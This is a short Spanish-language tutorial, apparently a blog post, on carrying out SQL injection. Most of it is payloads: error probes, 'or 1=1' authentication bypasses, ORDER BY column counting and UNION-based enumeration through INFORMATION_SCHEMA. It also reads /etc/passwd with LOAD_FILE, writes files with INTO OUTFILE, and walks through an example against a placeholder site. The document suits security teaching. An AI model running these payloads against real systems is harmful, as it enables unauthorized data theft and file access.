Este es un post para explicar como atacar SQLi.

Entonces que es SQLi? Es cuando puedes inyectar información directamente a la base de datos e interactuar con ella. Normalmente esto te permite ver cosas que no debes o borrarlas. Igual puedes brincar authentication (lo cual es muy malo)

SQLi puede estar en general en el URL o en alguna form.

Entonces como saber si hay SQLi?

//Genera un error 

abc'$"(# -1

// Cambia los resultados 
1 AND 1=1  // nada pero lo acepta bien
1 AND 1=3  // ERROR
1' AND 1='1
' or 1=1#
//etc

SELECT DATABASE()

Si ya lo encontraste puedes ver encontrar información particular haciendo:

SELECT DATABASE() // muestra la base de datos
SELECT schema_name FROM INFORMATION_SCHEMA.schemata // lista de bases de datos
SELECT table_name FROM INFORMATION_SCHEMA.tables// lista de tablas
SELECT column_name FROM INFORMATION_SCHEMA.columns where table_name=[la tabla que quiero]// lista de columnas

Para saber el número de columnas

ORDER BY 1 #  // siempre va a funcionar
ORDER BY 2 # // hay q encontrar el número exacto
ORDER BY [número gigante] // debe dar error

Para ver donde se muestran (es importante saber que no siempre se muestran todas las columnas)

[algo mal] UNION select 1,2,3,4,etc
-1 union select databas(),user(),version(),etc

Leer muchas columnas al mismo tiempo

SELECT CONCAT (columna1,',',columna2) FROM [tabla] // concatena

Cuando solo puedes ver de 1 en 1

Limit by 1,1

Algunas veces necesitas terminar con un comentario.

---, #, /*

// todo loq ue venga despues no sea aceptado

Otras puedes escribir o leer archivos (Muy bueno para ti, muy malo para la seguridad ja)

SELECT 'Hellow word 'INTO OUTFILE 'filename' // Escribir

SELECT LOAD_FILE('/etc/passwd') // leer

Ejemplo real:

http://pagina.org/message.php?parametro=1 // pagina normal
http://pagina.org/message.php?parametro=' // error Error executing SELECT name FROM thugs WHERE id = ': You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
http://pagina.org/message.php?parametro=-1 order by 1 // ok
http://pagina.org/message.php?parametro=-1 order by 1000 // error
http://pagina.org/message.php?parametro=-1 order by 2 // error (significa que solo tiene una columna)
http://pagina.org/message.php?parametro= -1 union select "ric" // muestra el "ric" en algún lado
// ahora veamos el nombre de las base de datos
-1 union select database() 
// ahora el nombre de las tablas 
-1 union SELECT table_name FROM INFORMATION_SCHEMA.tables limit 40,1
// me da la que quería messages
-1 union SELECT column_name from information_schema.columns where table_name='messages'
// juego con los limits
-1 union SELECT column_name from information_schema.columns where table_name='messages' limit 1,1
// encuentro la columna que quiero message
// y ya, puedo leer los mensajes, que en esta caso era lo que quería
-1 union select message from messages 

https://dev.mysql.com/doc/refman/8.0/en/select.html